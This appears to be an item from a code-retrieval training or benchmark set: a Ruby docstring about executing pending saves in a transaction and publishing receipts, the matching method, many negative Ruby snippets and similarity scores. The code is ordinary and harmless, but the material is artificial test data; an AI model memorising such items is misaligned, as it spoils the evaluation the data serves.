end", "def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n @progress_message = args[:progress_message] if args.key?(:progress_message)\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def save(*)\n super.tap { |result| send_pending_email if result }\n end", "def store_meta_data\n img = ::MiniMagick::Image.open(file.file)\n\n model.format = img.type\n model.height = img.height\n model.width = img.width\n\n if img.exif.present?\n exif_date = img.exif[\"DateTimeOriginal\"].split(\" \")\n exif_date.first.gsub!(\":\", \"-\")\n\n model.taken_at = DateTime.parse exif_date.join(\",\")\n end\n end", "def append_info_to_payload(payload); end", "def merge_metadata_from_model_into(data)\n @record.paper_trail_options[:meta].each do |k, v|\n data[k] = model_metadatum(v, data[:event])\n end\n end", "def save_processed_data\n attachment.update(processed_data: json_parser.final_hash)\n end", "def set_meta\n puts 'meta'\n end", "def get_meta_data\r\n MetaData.new(:':curr-id' => Node.current_id,\r\n :':curr-quest-flag' => QuestMaker.current_quest_flag)\r\n end", "def send_forward_meta_messages(*args); end", "def build_system_metadata\n self.parsed_metadata['id'] = hyrax_record.id\n self.parsed_metadata[source_identifier] = hyrax_record.send(work_identifier)\n self.parsed_metadata[key_for_export('model')] = hyrax_record.has_model.first\n end", "def set_queue_metadata(queue_name, metadata = {})\r\n execute(:put, queue_name, { :comp => 'metadata' }, metadata.merge!(:x_ms_version => '2009-09-19'))\r\n end", "def apply_additional_metadata(depositor_id)\n #Here's where we call specific additional metadata changes...\n\t\tif self.respond_to?(:apply_content_specific_additional_metadata)\n self.apply_content_specific_additional_metadata\n end\t\n\n\t\t#We are setting the ownerId within apply_addtional_metadata due to a Fedora bug (FCREPO-963 - which means we can't set it on ingest).\n\t\t#It only sets the ownerId with the depositor id if its in the proto queue\n \t\tif self.queue_membership.include? :proto\n\t\t\tself.owner_id = depositor_id\n\t\tend\n\t\t\t\n\t\tdc_ds = self.dc\n\t\tdescMetadata_ds = self.descMetadata\n\n unless dc_ds.nil?\n dc_ds.update_indexed_attributes([:dc_title]=> self.get_values_from_datastream(\"descMetadata\", [:title], {}).to_s)\n begin\n date_issued = self.get_values_from_datastream(\"descMetadata\", [:origin_info,:date_issued], {})\n\t\t\t\tdate_valid = self.get_values_from_datastream(\"descMetadata\", [:origin_info,:date_valid], {})\n \n if date_issued.to_s != \"\"\n \tdc_ds.update_indexed_attributes([:dc_date]=> date_issued.to_s) if date_issued.present?\n\t\t\t\telse\n\t\t\t\t\tdc_ds.update_indexed_attributes([:dc_date]=> date_valid.to_s) if date_valid.present?\n\t\t\t\tend\n rescue OM::XML::Terminology::BadPointerError => e\n logger.error \"ERROR when trying to copy date on #{self.class} #{self.pid}:\\n\\t#{e.message}\"\n end\n end\n\t\n\t\tunless descMetadata_ds.nil?\n\t\t\tdescMetadata_ds.update_indexed_attributes ([:record_info,:record_change_date] => Time.now.strftime(\"%Y-%m-%d\"))\n\t\tend\n\n\t\tself.label = generate_object_label\n\t\t\n\t return true\n end", "def store_meta\n raise StandardError, 'Either file or model not defined when storing meta' unless file && model\n\n # Note: file on Heroku is CarrierWave::Storage::Fog::File but in dev it's\n # CarrierWave::SanitizedFile (whether GCLOUD_BUCKET is set or not).\n # Unfortunately don't have any explanation for the discrepancy.\n\n parsed_file = FFMPEG::Movie.new(file.file)\n model.duration = parsed_file.duration\n end", "def enqueue_cm(field,value,items)\n\t\titems = Array(items)\n\t\tpending = @pending_custom_metadata[field][value] += items\n\t\tflush\n\tend", "def meta_data\n return nil unless success?\n\n @meta_data\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end" ]
[ "0.6486739", "0.6122423", "0.6061689", "0.5907443", "0.58464247", "0.5810245", "0.57848537", "0.578153", "0.563734", "0.5563939", "0.5563521", "0.5544783", "0.5544783", "0.553418", "0.552932", "0.55232614", "0.55094343", "0.5468377", "0.5436757", "0.54222745", "0.5391912", "0.5376906", "0.53292066", "0.53265506", "0.53235525", "0.5313542", "0.52994865", "0.52952063", "0.528971", "0.528971", "0.528971", "0.528971", "0.528971", "0.528971", "0.528971", "0.528971", "0.5273637", "0.5273637", "0.52594775", "0.5242551", "0.5242551", "0.5228674", "0.5217443", "0.52096313", "0.5202627", "0.5200929", "0.5191458", "0.5185647", "0.5185647", "0.5185647", "0.5182038", "0.5182038", "0.5171416", "0.5171416", "0.5171416", "0.5171416", "0.51696265", "0.5166668", "0.5165801", "0.5145954", "0.5144363", "0.5137317", "0.5119094", "0.51093704", "0.5098344", "0.50850487", "0.5069406", "0.50607514", "0.506006", "0.5037038", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797", "0.5036797" ]
0.5844981
5
Public: Executes all pending saves within a transaction, clears the pending saves, and publishes the reciepts via the message bus. Returns self.
def execute_work! save_receipts = event_store.with_transaction do pending_saves.map(&:call) end @pending_saves = [] save_receipts.each do |reciept| message_bus.publish_events(reciept.id, reciept.klass, reciept.events, reciept.meta.merge(meta)) end self end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def save!\n no_recursion do\n _sq_around_original_save do\n super if defined?(super)\n end\n\n save_queue.save!\n end\n end", "def transactions\n @connection.savepoint\n end", "def save(*)\n super.tap { |result| send_pending_email if result }\n end", "def save\n # Update the updated_at timestamp.\n # If we had servers in multiple time zones, we'd want\n # to use utc in the next line. This might be important\n # if we go cloud in multiple availability zones, this\n # way time is consistent across zones.\n # self.updated_at = Time.now.utc\n self.updated_at = Time.now\n\n # Flag that will determine if this is the first time we save.\n first_save = false\n # if this is our first time saving this transaction\n if(@state == :new)\n @state = :started\n first_save = true\n # if new, grab a numeric id and assign it to this object\n if(@numeric_id == nil)\n @numeric_id = Store.db.incr(\"#{Transaction.db_global_prefix}:numeric_id_count\")\n end\n end\n\n # Now lets convert the transaction object to a json. Note:\n # We have to retrieve this here, incase we ever need values here\n # from the Store. If we do it inside the multi or pipelined\n # we won't have those values availble when building the json\n # and all we'll have is a Redis::Future object. By doing\n # the following to_json call here, we would've retrieved the data\n # needed before the save, properly.\n json = self.to_json\n # do a pipeline command, executing all commands in an atomic fashion.\n # inform the pipelined save if this is the first time we're saving the\n # transaction, so that proper jobs may be enqueued.\n pipelined_save(json, first_save)\n # puts caller\n if Config.display_hints\n debug \"#{\"Hint\".green}: View the transaction data in Redis using: GET #{db_id}\\n\"+\n \"#{\"Hint\".green}: View the last #{LAST_TRANSACTIONS_TO_KEEP_IN_CACHE} transactions using: \"+\n \"LRANGE #{db_list} 0 -1\\n\"+\n \"#{\"Hint\".green}: View the items in pending queue using: LRANGE #{queue_pending} 0 -1\\n\"+\n \"#{\"Hint\".green}: View the last item in the pending queue using: LINDEX #{queue_pending} 0\"\n end\n return true\n end", "def save\n @connection.transactions.save\n end", "def flush\n @queued = {}\n end", "def redo\n transaction do\n redoables = self.class.find(:undone, :all, :to => self.id, :include => :changes)\n raise Stale unless redoables.include? self\n redoables.each do |op|\n op.changes.each { |change| change.redo }\n op.undone = false\n op.save!\n end\n end\n end", "def save!(*)\n super.tap do\n changes_applied\n end\n end", "def save!(*)\n super.tap do\n changes_applied\n end\n end", "def transactions\n\t\[email protected]\n\tend", "def save\n\t\[email protected]\n\tend", "def pipelined_save(json, first_save=false)\n if Config.display_hints\n debug \"Store Pipeline: Attempting to save transaction in Store under key \\\"#{db_id}\\\"\"\n debug \"Store Pipeline: Attempting to save into recent transactions list \\\"#{db_list}\\\"\"\n debug \"Store Pipeline: Attempting to save into \\\"#{queue_pending}\\\" queue\"\n end\n\n # This is where we do an atomic save on the database. We grab a\n # connection from the pool, and use it. If a connection is unavailable\n # the code (Fiber) will be on hold, and will magically resume properly\n # thanks to our use of EM-Synchrony.\n Store.db.pipelined do |db_connection|\n # don't worry about an error here, if the db isn't available\n # it'll raise an exception that will be caught by the system\n\n # Update the transaction object in the database by storing the JSON\n # in the key under this ID in the database store.\n db_connection.set(db_id, json)\n\n # If TTL is not nil, update the Time to Live everytime a transaction\n # is saved/updated\n if(EXPIRATION > 0)\n db_connection.expire(db_id, EXPIRATION)\n end\n\n # if this is the first time this transaction is saved:\n if first_save\n # Add it to a list of the last couple of items\n db_connection.lpush(db_list, db_cache_info)\n # trim the items to the maximum allowed, determined by this constant:\n db_connection.ltrim(db_list, 0, LAST_TRANSACTIONS_TO_KEEP_IN_CACHE)\n\n # Add it to our GMQ pending queue, to be grabbed by our workers\n # Enqueue a email notification job\n db_connection.rpush(queue_pending, job_notification_data)\n # Enqueue a rapsheet validation job\n # db_connection.rpush(queue_pending, job_rapsheet_validation_data)\n\n # We can't use any method that uses Store.db here\n # because that would cause us to checkout a db connection from the\n # pool for each of those commands; the pipelined commands need to\n # run on the same connection as the commands in the pipeline,\n # so we will not use the Store.add_pending method. For any\n # of our own method that requires access to the db, we will\n # recycle the current db_connection. In this case, the add_pending\n # LibraryHelper method supports receiving an existing db connection\n # which makes it safe for the underlying classes to perform\n # database requests, appending them to this pipeline block.\n add_pending(db_connection)\n end # end of first_save for new transactions\n end\n debug \"Saved!\".bold.green\n end", "def _save_to_store\n self._warnings = []\n _commit_externals \n __pack.commit # TODO: need to add some error catching and roll back the external saves where needed\n end", "def flush\n osync = @sync\n @sync = true\n do_write \"\"\n return self\n ensure\n @sync = osync\n end", "def save!\n raise Glueby::Contract::Errors::TxAlreadyBroadcasted if @txid\n\n @tx = create_tx(@wallet, @prefix, Tapyrus.sha256(@content), @fee_provider)\n @txid = @wallet.internal_wallet.broadcast(@tx)\n end", "def save_logic( defer=false, mask_exception = true )\n ensure_id\n self[:_attachments] = attachments.pack unless attachments.empty?\n if defer\n database.add_to_bulk_cache( self )\n else\n # clear any bulk saving left over ...\n database.bulk_save if database.bulk_cache.size > 0\n if mask_exception\n save_now\n else\n save_now( false )\n end \n end \n end", "def flush_writes\n sync(:@queued_for_write)\n\n @alt_storage.flush_writes\n @filesystem.flush_writes\n\n @queued_for_write = {}\n end", "def flush_writes\n sync(:@queued_for_write)\n\n @fog.flush_writes\n @filesystem.flush_writes\n\n @queued_for_write = {}\n end", "def handle_save(save)\n reciept = save.call\n message_bus.publish_events(reciept.id, reciept.klass, reciept.events,\n reciept.meta)\n\n self\n end", "def save(meta = {})\n dirty_events = @_dirty_events\n version = persisted_version\n\n unit_of_work.handle_save(proc do\n event_store.append_events(id, self.class.name, dirty_events, version)\n SaveReciept.new(id, self.class, dirty_events, meta)\n end)\n\n @_dirty_events = []\n @_aggregate.instance_variable_set(:@persisted_version, local_version)\n\n self\n end", "def flush\n manager.flush\n end", "def complete_transactions!\n pending_transactions.each do |transaction|\n ActiveRecord::Base.transaction do\n transaction.entries.create!(amount: transaction.amount, entry_type: 'D', transaction: transaction, account: Account.mimo_assets)\n transaction.entries.create!(amount: transaction.amount, entry_type: 'C', transaction: transaction, account: wallet)\n transaction.destination_user = self\n transaction.complete! unless transaction.completed?\n end\n transaction.source_user.send_pending_sent_transfer_completed(transaction)\n self.send_pending_received_transfer_completed(transaction)\n end\n end", "def flush\n remove!\n store!\n end", "def queue_to_download\n self.save!\n end", "def flush!\n clear!.each do | message |\n @transport.send_message(message)\n end\n self\n end", "def reset\n ActiveRecord::Base.transaction do\n reset_transcript\n reset_transcript_lines\n reset_transcript_edits\n reset_trasncript_speaker_edits\n end\n end", "def commit\r\n self.class.commit_orders [self]\r\n end", "def save_and_apply\n self.save\n self.apply\n end", "def save!\n @commits.collect do |commit|\n commit.save!\n end\n end", "def save\n flush_deletes unless @options[:keep_old_files]\n process = only_process\n @queued_for_write.except!(:original) if process.any? && !process.include?(:original)\n flush_writes\n @dirty = false\n true\n end", "def commit( defer=false )\n save_logic( defer, false )\n end", "def flush!\n synchronize do\n patch_batch!\n @cond.broadcast\n end\n\n self\n end", "def flush\n synchronize do\n publish_batches!\n @cond.signal\n end\n\n self\n end", "def send_to_acx\n @result[:sent] = @transaction_class.with_status(:new).with_result(:unreconciled).inject(0) do |count, transaction|\n response = {\"command\"=> \"reconcile_#{transaction_name}\", transaction_name => transaction}\n AMQPQueue.enqueue(response)\n transaction.status = :sent\n transaction.send_times += 1\n transaction.save\n count += 1\n end\n end", "def update\n ActiveRecord::Base.transaction do\n @report.update!(name: params[:report][:name], unpublished: params[:report][:unpublished])\n @report.report_saved_queries.where('saved_query_id NOT IN (?)', params[:report][:saved_query_ids].map{|sqi| sqi.to_i}).destroy_all\n \n [email protected]_queries.map{|sq| sq.id}\n to_add=params[:report][:saved_query_ids].map{|sqi| sqi.to_i} - saved_query_ids\n to_add.each do |ta|\n ReportSavedQuery.create!(saved_query_id: ta, report_id: @report.id)\n end\n end\n \n render json: {status: :ok}\n end", "def save\n @@all << self\n @@current << self\n end", "def perform_inner_commit\n @provider.push self\n\n begin\n perform_commit\n rescue => cause\n perform_rollback cause\n end\n\n clear\n stop\n end", "def end_transaction\n case @transaction_stack.length\n when 0\n PEROBS.log.fatal 'No ongoing transaction to end'\n when 1\n # All transactions completed successfully. Write all modified objects\n # into the backend storage.\n @transaction_stack.pop.each { |id| @transaction_objects[id]._sync }\n @transaction_objects = ::Hash.new\n @transaction_thread = nil\n else\n # A nested transaction completed successfully. We add the list of\n # modified objects to the list of the enclosing transaction.\n transactions = @transaction_stack.pop\n # Merge the two lists\n @transaction_stack.push(@transaction_stack.pop + transactions)\n # Ensure that each object ID is only included once in the list.\n @transaction_stack.last.uniq!\n end\n end", "def flush\n return nil if @queries.empty?\n \n @args[:db].transaction do\n @queries.shift(1000).each do |str|\n STDOUT.print \"Executing via buffer: #{str}\\n\" if @debug\n @args[:db].q(str)\n end\n end\n \n return nil\n end", "def save_blasts\n for recipient in @recipients\n blast = @blast.clone()\n blast.to = recipient\n now = Time.now()\n blast.created_at = now\n blast.sent_at = now\n blast.save!\n end\n end", "def save *entities\n @commit.save(*entities)\n # Do not save yet\n entities\n end", "def commit\n freeze_time\n release_expired\n store_staged_data\n clean\n\n was_dirty?\n end", "def flush\n @messages = ''\n end", "def save(bulk = false)\n caught = catch(:halt) do\n if self.new?\n _run_save_callbacks do\n save_without_callbacks(bulk)\n end\n else\n update(bulk)\n end\n end\n end", "def confirm!\n self.pending = false\n self.save\n self.createDebts\n end", "def undo\n transaction do\n undoables = self.class.find(:not_undone, :all, :to => self.id, :include => :changes)\n raise Stale unless undoables.include? self\n undoables.each do |op|\n op.changes.each { |change| change.undo }\n op.undone = true\n op.save!\n end\n end\n end", "def receive_payment!(transaction)\n receive_payment(transaction)\n transaction.save!\n self.save!\n end", "def call\n transaction do\n @failures = {}\n update_contents_and_resort_opinions(form)\n publish_drafts\n end\n\n if @failures.any?\n broadcast(:invalid, @failures)\n else\n broadcast(:ok)\n end\n end", "def execute\n ActiveRecord::Base.transaction do\n protocol_subscription.responses.not_completed.after_date(future).destroy_all\n schedule_responses\n end\n end", "def commit_transaction\n\t real_object = __getobj__\n\t partition_new_old_relations(:parent_objects) do |trsc_objects, rel, new, del, existing|\n\t\tfor other in new\n\t\t other.add_child_object(real_object, rel, trsc_objects[other][self, rel])\n\t\tend\n\t\tfor other in del\n\t\t other.remove_child_object(real_object, rel)\n\t\tend\n for other in existing\n other[real_object, rel] = trsc_objects[other][self, rel]\n end\n\t end\n\n\t partition_new_old_relations(:child_objects) do |trsc_objects, rel, new, del, existing|\n\t\tfor other in new\n\t\t real_object.add_child_object(other, rel, self[trsc_objects[other], rel])\n\t\tend\n\t\tfor other in del\n\t\t real_object.remove_child_object(other, rel)\n\t\tend\n for other in existing\n real_object[other, rel] = self[trsc_objects[other], rel]\n end\n\t end\n\n super\n\n if @executable != __getobj__.instance_variable_get(:@executable)\n __getobj__.executable = @executable\n end\n\n finalization_handlers.each do |handler|\n __getobj__.when_finalized(handler.as_options, &handler.block)\n end\n end", "def process_pending\n process_nested and process_relations\n pending_nested.clear and pending_relations.clear\n _reset_memoized_descendants!\n end", "def suspend\n self.suspended = true\n save(:validate => false)\n end", "def perform\n track do\n reset!\n\n Restforce::DB::Registry.each do |mapping|\n run(\"CLEANING RECORDS\", Cleaner, mapping)\n run(\"ATTACHING RECORDS\", Attacher, mapping)\n run(\"PROPAGATING RECORDS\", Initializer, mapping)\n run(\"COLLECTING CHANGES\", Collector, mapping)\n end\n\n # NOTE: We can only perform the synchronization after all record\n # changes have been aggregated, so this second loop is necessary.\n Restforce::DB::Registry.each do |mapping|\n run(\"UPDATING ASSOCIATIONS\", Associator, mapping)\n run(\"APPLYING CHANGES\", Synchronizer, mapping)\n end\n end\n end", "def save\n collections = [participants, people,\n contacts, events, instruments,\n response_sets,\n question_response_sets\n ].map { |c| current_for(c).compact }\n\n ActiveRecord::Base.transaction do\n collections.map { |c| save_collection(c) }.all?.tap do |ok|\n if ok\n logger.debug { \"Re-saving response sets\" }\n current_for(response_sets).select { |rs| rs }.each { |rs| rs.target.reload.save }\n logger.info { 'Merge saved' }\n else\n logger.fatal { 'Errors raised during save; rolling back' }\n raise ActiveRecord::Rollback\n end\n end\n end\n end", "def persist!\n @snapshot.save!\n @processes.each(&:save!)\n persist_labels\n persist_metrics\n end", "def execute_trade!\n offer_inventory = @offer[:records].map{ |e| [e.item_name.to_sym, e]}.to_h\n for_inventory = @for[:records].map{ |e| [e.item_name.to_sym, e]}.to_h\n\n @offer[:items].each do |name, quantity|\n offer_inventory[name.to_sym].quantity -= quantity\n for_inventory[name.to_sym].quantity += quantity\n end\n\n @for[:items].each do |name, quantity|\n for_inventory[name.to_sym].quantity -= quantity\n offer_inventory[name.to_sym].quantity += quantity\n end\n\n ActiveRecord::Base.transaction do\n @offer[:records].each(&:save)\n @for[:records].each(&:save)\n end\n end", "def save()\n @env.sync(true)\n self\n end", "def flush\n @queue.clear\n end", "def bulk_persist\n adapter_class = policy_machine_storage_adapter.class\n\n if adapter_class.respond_to?(:buffering?)\n begin\n adapter_class.clear_buffers!\n adapter_class.start_buffering!\n result = yield\n adapter_class.persist_buffers!\n result\n ensure\n adapter_class.stop_buffering!\n adapter_class.clear_buffers!\n end\n else\n yield\n end\n end", "def save\n perform_save\n end", "def finalize!\n # lock all adjustments (coupon promotions, etc.)\n all_adjustments.each{|a| a.close}\n\n # update payment and shipment(s) states, and save\n updater.update_payment_state\n shipments.each do |shipment|\n shipment.update!(self)\n shipment.finalize!\n end\n\n updater.update_shipment_state\n save!\n updater.run_hooks\n\n touch :completed_at\n\n # Deshabilitamos el envio de correos estandar de spree para gestionarlo de forma personalizada.\n # deliver_order_confirmation_email unless confirmation_delivered?\n\n consider_risk\n end", "def finalize!\n touch :completed_at\n # InventoryUnit.assign_opening_inventory(self)\n\n # lock all adjustments (coupon promotions, etc.)\n # adjustments.each { |adjustment| adjustment.update_column('state', \"closed\") }\n\n # update payment and shipment(s) states, and save\n # update_payment_state\n shipments.each { |shipment| shipment.update!(self) }\n update_shipment_state\n save\n\n self.state_events.create({\n :previous_state => 'confirm',\n :next_state => 'in_progress',\n :name => 'order' ,\n :user_id => self.user_id\n }, :without_protection => true)\n\n # uncomment this for production\n self.send_new_order_notification\n\n # send pusher notification to order manager\n # Pusher.app_id = '37591'\n # Pusher.key = 'be3c39c1555da94702ec'\n # Pusher.secret = 'deae8cae47a1c88942e1'\n # Pusher['order'].trigger('new_order_event', {:user_id => VOSTO_ORDER_MANAGER_ID,:message => \"New Order: ID #{self.id} at #{self.store.store_name} orderd at #{self.created_at}.\"})\n\n # these to resque calls need to move into the Roles class\n\n # uncomment this for production\n Resque.enqueue(NotificationPusherSender, 'new_order_event', VOSTO_ORDER_MANAGER_ID, self.id, \"New Order: ID #{self.id} at #{self.store.store_name} orderd at #{self.created_at}.\")\n\n p \"Order Id#{self.id}:Sent store notification to In-Store Application.\"\n\n #Resque.enqueue(OrderConfirmationMailer, self, self.customer.email)\n\n logger.info \"Order Id:#{self.id}Sent user confirmation email.\"\n\n # uncomment this for production\n Resque.enqueue(LoyaltyAdder, self, self.customer)\n\n # logger.info \"Order Id:#{self.id}Loyalty calculated.\" \n end", "def force_flush\n snapshot = lock { fetch_batch }\n export_batch(snapshot)\n end", "def save_and_apply(commit_msg = nil)\n save(commit_msg)\n apply\n end", "def commit\n @read_lock.synchronize do\n @write_lock.synchronize do\n unless @saved\n storage.store(self.class, @id, @data.dup)\n end\n @saved = true\n end\n end\n end", "def clearance_items!\n return if @batch_ids.empty?\n @batch.save!\n @batch_ids.each do |item_id|\n item = Item.find(item_id)\n item.clearance!\n # NOTE: Considered adding a catch here if the item fails to save.\n # Feels unneeded as the item cannot possibly have invalid state at this point.\n @batch.items << item\n @notices << \"Item #{item_id} Clearanced Successfully!\"\n end\n end", "def hard_save\n args = request_params\n @uncommitted = save_and_remove_all(args[:map_id], args[:round])\n render json: @uncommitted\n end", "def flush\n protect { @secondary.flush }\n end", "def flush\n self\n end", "def flush!\n @worker.flush!\n end", "def flush\n flush_field\n flushed_fields = record_fields\n initialize\n flushed_fields\n end", "def commit_transaction\n\t super\n\t \n\t # Update the task arguments. The original\n\t # Roby::Task#commit_transaction has already translated the proxy\n\t # objects into real objects\n\t arguments.each do |key, value|\n\t\t__getobj__.arguments.update!(key, value)\n\t end\n\n execute_handlers.each do |h|\n __getobj__.execute(h.as_options, &h.block)\n end\n poll_handlers.each do |h|\n __getobj__.poll(h.as_options, &h.block)\n end\n\n __getobj__.abstract = self.abstract?\n if @fullfilled_model\n __getobj__.fullfilled_model = @fullfilled_model.dup\n end\n __getobj__.do_not_reuse if !@reusable\n\tend", "def perform_save\n api.stack_save(self)\n end", "def clear_current_transaction!\n Thread.current[:appsignal_transaction] = nil\n end", "def discard_transaction\n\t clear_relations\n\tend", "def post_transaction_process\n bet_wallet.persist_wallet!\n end", "def process\n save_as(:processing)\n perform_checks\n initiate_delivery\n capture_payment\n save_as(:processed)\n end", "def commit!\n save! unless persisted?\n end", "def flush_transaction\n puts \"Flushing Transaction.\"\n end", "def flush_jobs\n queued_jobs&.each(&:call)&.clear\n end", "def transaction(&block)\n self['AutoCommit'] = false\n self.do_transaction(&block)\n self['AutoCommit'] = true\n end", "def sync\n @lock.synchronize do\n if @cache.in_transaction?\n @cache.abort_transaction\n @cache.flush\n PEROBS.log.fatal \"You cannot call sync() during a transaction: \\n\" +\n Kernel.caller.join(\"\\n\")\n end\n @cache.flush\n end\n end", "def flush\n self.class.flush\n end", "def save\n # FIXME: find a way to handle errors?\n # FIXME: what if multiple objects are created in the course of a save operation?\n result = self\n updated_aspects.each do |hash|\n result = result.send(hash[:message], *hash[:parameters])\n end\n result\n end", "def save\n @@all << self\n end", "def save\n @@all << self\n end", "def save\n @@all << self\n end", "def save\n @@all << self\n end", "def save\n @@all << self\n end", "def save\n @@all << self\n end", "def save\n @@all << self\n end", "def save\n @@all << self\n end", "def execute!\n clearance_items!\n generate_report\n return self\n end", "def save\n @@all << self\n end", "def save!\n raise ActionFailed.new(@response) if save.nil?\n self\n end", "def refresh!\n with_lock do\n update_counters!\n send_email_if_needed!\n save!\n end\n self # for chaining\n end", "def save \n @@all << self\n end", "def commit_transaction\n # The relation graph handling is a bit tricky. We resolve the graphs\n # exclusively using self (NOT other) because if 'other' was a new\n # task, it has been already moved to the new plan (and its relation\n # graph resolution is using the new plan's new graphs already)\n\n super\n\n if @executable != __getobj__.instance_variable_get(:@executable)\n __getobj__.executable = @executable\n end\n\n finalization_handlers.each do |handler|\n __getobj__.when_finalized(handler.as_options, &handler.block)\n end\n end", "def run\n install_signal_handlers\n\n loop do\n begin\n cleanup\n emails = find_emails\n deliver(emails) unless emails.empty?\n rescue ActiveRecord::Transactions::TransactionError\n end\n break if @once\n sleep @delay\n end\n end", "def save\n @@all.push(self)\n end" ]
[ "0.5911008", "0.57054454", "0.570071", "0.56451714", "0.554578", "0.546174", "0.540657", "0.53439665", "0.53351825", "0.5309278", "0.5305898", "0.52807957", "0.52781755", "0.52768975", "0.5273703", "0.52465266", "0.5238226", "0.52192616", "0.5216401", "0.5204785", "0.520458", "0.5202769", "0.5197852", "0.5159117", "0.5155501", "0.5154423", "0.51361954", "0.5091206", "0.5085591", "0.50720716", "0.5035446", "0.5021168", "0.5018774", "0.49983248", "0.4982932", "0.4972338", "0.49591708", "0.49568", "0.4949477", "0.49468765", "0.49389777", "0.49337688", "0.4932751", "0.4913776", "0.48953316", "0.4895222", "0.48818764", "0.48735467", "0.48717678", "0.48651952", "0.48490822", "0.48378548", "0.48333573", "0.48280916", "0.48219562", "0.4812905", "0.48066944", "0.4801795", "0.4797736", "0.479693", "0.47944352", "0.47857034", "0.47826836", "0.47715876", "0.4770541", "0.4765691", "0.47589362", "0.4756245", "0.47510964", "0.47507858", "0.47500566", "0.47492668", "0.47464705", "0.47458982", "0.47425106", "0.47419432", "0.47418392", "0.47371274", "0.47354305", "0.47348526", "0.4732557", "0.47218677", "0.47206494", "0.47195727", "0.47087827", "0.47087827", "0.47087827", "0.47087827", "0.47087827", "0.47087827", "0.47087827", "0.47087827", "0.47081724", "0.47034273", "0.46992573", "0.46968275", "0.4695977", "0.46942428", "0.46917588", "0.46898988" ]
0.7648541
0
Public: Fetches an aggregate via it's ID from the identity map. type the type for the aggregate. id the ID for the aggregate. Returns nil if not found. Returns Aggregate if found.
def fetch_aggregate(type, id) return unless identity_map[type] identity_map[type][id] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def load_aggregate(aggregate_id, clazz = nil)\n result = aggregates.fetch(aggregate_id) do |_|\n stream, events = @event_store.load_events(aggregate_id)\n raise AggregateNotFound.new(aggregate_id) unless stream\n aggregate_class = Class.const_get(stream.aggregate_type)\n aggregates[aggregate_id] = aggregate_class.load_from_history(stream, events)\n end\n\n raise TypeError, \"#{result.class} is not a #{clazz}\" if result && clazz && !(result.class <= clazz)\n\n result\n end", "def load_aggregate(aggregate_id, clazz = nil)\n load_aggregates([aggregate_id], clazz)[0]\n end", "def find_aggregate(event_or_uuid, klass = aggregate_class, allow_new = false)\n return nil unless event_or_uuid\n\n uuid = event_or_uuid\n # if we extract uuid from previous evt\n if event_or_uuid.is_a?(ActiveAggregate::EventBase)\n uuid = event_or_uuid.get_aggregate_uuid(klass.listen_to_domains.first)\n end\n aggr ||= klass.find_by_uuid(uuid) # then load from db\n if !aggr && allow_new\n aggr = klass.new_aggregate(uuid)\n end\n return aggr\n end", "def get(id)\n record =\n if (id.is_a?(BSON::DBRef) && id.namespace == @collection)\n @dao.db.dereference(id)\n elsif (id.is_a?(String) && BSON::ObjectId.legal?(id))\n @dao.read(BSON::ObjectId.from_string(id))\n else\n @dao.read(id)\n end\n # Mongo is going to give me a record with the _id property set, not id\n translate(record)\n end", "def lookup(type_name, id)\n return unless type_name.starts_with?(namespace)\n types.each_pair do |type, graph_type|\n return type.find(id) if graph_type.name == type_name\n end\n nil\n end", "def get_aggregate aggregate_query\n ensure_not_closed!\n ensure_service!\n\n return enum_for :get_aggregate, aggregate_query unless block_given?\n\n results = service.run_aggregate_query aggregate_query.parent_path,\n aggregate_query.to_grpc,\n transaction: transaction_or_create\n results.each do |result|\n extract_transaction_from_result! result\n next if result.result.nil?\n yield AggregateQuerySnapshot.from_run_aggregate_query_response result\n end\n end", "def get_by_id(id, cats_only = false)\n raise \"Cannot do a look-up with a blank id!\" if id.blank?\n object = self.categories.select { |category| category.type_identifier == id }\n object = self.entities.select { |entity| entity.id == id } if !cats_only && object.empty?\n object.first\n end", "def get_organization_by_id(id)\n require_relative 'telerivet/organization'\n Organization.new(self, self.do_request(\"GET\", get_base_api_path() + \"/organizations/#{id}\"))\n end", "def get(id)\n collection.find_one({\n Crocoduck::Store.id_field => id.to_i\n })\n end", "def find_by_id(id)\n unless id.class == BSON::ObjectId\n if BSON::ObjectId.legal? id\n id = BSON::ObjectId.from_string(id)\n else\n nil\n end\n end\n\n find('_id' => id).first\n end", "def fetch_last_snapshot(type_identifier, aggregate_id)\n filter = {\n aggregate_id: aggregate_id,\n aggregate_type: type_identifier\n }\n\n sort = {\n sequence_number: DESCENDING\n }\n\n @template.snapshot_collection.find(filter).sort(sort).limit(1)\n 